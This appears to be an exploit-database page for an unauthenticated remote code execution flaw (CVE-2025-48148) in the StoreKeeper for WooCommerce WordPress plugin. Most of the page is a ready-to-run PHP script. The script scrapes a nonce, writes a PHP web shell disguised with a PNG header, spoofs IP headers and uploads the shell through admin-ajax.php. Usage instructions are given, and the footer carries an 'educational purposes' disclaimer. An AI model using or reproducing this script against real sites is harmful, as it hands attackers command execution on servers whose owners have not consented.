WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload
WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload
WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload

=============================================================================================================================================
| # Title WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload

=============================================================================================================================================
| # Title : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/storekeeper-for-woocommerce/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/210872/ & CVE-2025-48148

[+] Summary : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise.

[+] Risk Assessment :

- **Attack Vector**: Network-based, no authentication required
- **Attack Complexity**: Low
- **Privileges Required**: None
- **User Interaction**: None

The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler.

[+] Usage:

Usage: php poc.php -u <url> [--debug]

Example: php poc.php -u http://site.com/ [--debug]

[+] POC :

<?php

class NxploitedShellUploader {
private $logger;
private $timeout = 10;

public function __construct($debug = false) {
$this->setupLogger($debug);
}

private function setupLogger($debug) {
$this->logger = function($message, $level = 'INFO') {
$timestamp = date('Y-m-d H:i:s');
echo "[$timestamp] [$level] $message\n";
};
}

private function log($message, $level = 'INFO') {
call_user_func($this->logger, $message, $level);
}

public function getNonce($site_url) {
$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept: */*",
"Connection: close",
"Referer: " . $site_url,
"X-Forwarded-For: 127.0.0.1",
"X-Originating-IP: 127.0.0.1",
"X-Remote-IP: 127.0.0.1",
"X-Remote-Addr: 127.0.0.1"
];

$this->log("Requesting site for nonce extraction...");

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $site_url,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_RETURNTRANSFER => true
]);

$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
$this->log("Error fetching URL: $error", 'ERROR');
exit(1);
}

if (preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches)) {
$nonce_val = $matches[1];
$this->log("Nonce extracted: $nonce_val");
return $nonce_val;
}

$this->log("Nonce not found!", 'ERROR');
exit(1);
}

public function writeShell($filename = "indoushka.php") {
$shell_content = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system(\$_GET['cmd']); ?>";

if (file_put_contents($filename, $shell_content) !== false) {
$this->log("Shell file created: $filename");
return true;
} else {
$this->log("Failed to create shell file: $filename", 'ERROR');
return false;
}
}

public function uploadShell($site_url, $nonce, $shell_path) {
$base = rtrim(explode('/wp-admin/', $site_url)[0], '/');
$ajax_url = $base . "/wp-admin/admin-ajax.php";

$this->log("Uploading shell to $ajax_url ...");

if (!file_exists($shell_path)) {
$this->log("Shell file not found: $shell_path", 'ERROR');
exit(1);
}

$post_data = [
'action' => 'upload_product_image',
'nonce' => $nonce,
'file' => new CURLFile($shell_path, 'image/png', 'indoushka.php')
];

$headers = [
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Referer: " . $site_url,
"X-Requested-With: XMLHttpRequest",
"Accept: */*",
"Connection: close",
"X-Forwarded-For: 127.0.0.1",
"X-Originating-IP: 127.0.0.1",
"X-Remote-IP: 127.0.0.1",
"X-Remote-Addr: 127.0.0.1",
"Pragma: no-cache",
"Cache-Control: no-cache"
];

$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_TIMEOUT => 15,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_RETURNTRANSFER => true
]);

$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
$this->log("Upload failed: $error", 'ERROR');
exit(1);
}

$this->log("Upload response:");
echo $response . "\n";

return $response;
}

public function execute($url, $debug = false) {
if ($debug) {
$this->log("Debug logging enabled", 'DEBUG');
}

try {
$nonce = $this->getNonce($url);
$this->writeShell("indoushka.php");
$this->uploadShell($url, $nonce, "indoushka.php");
$this->log("Operation completed.");
} catch (Exception $e) {
$this->log("Operation failed: " . $e->getMessage(), 'ERROR');
exit(1);
}
}
}

if (php_sapi_name() === 'cli') {
$options = getopt("u:", ["url:", "debug"]);

$url = $options['u'] ?? $options['url'] ?? null;
$debug = isset($options['debug']);

if (!$url) {
echo "Usage: php exploit.php -u <url> [--debug]\n";
echo "Example: php exploit.php -u http://site.com/ [--debug]\n";
exit(1);
}

$uploader = new NxploitedShellUploader($debug);
$uploader->execute($url, $debug);
} else {
echo "This script is intended for command line use only.\n";
}

if (function_exists('curl_version')) {

}
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© 2025 Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.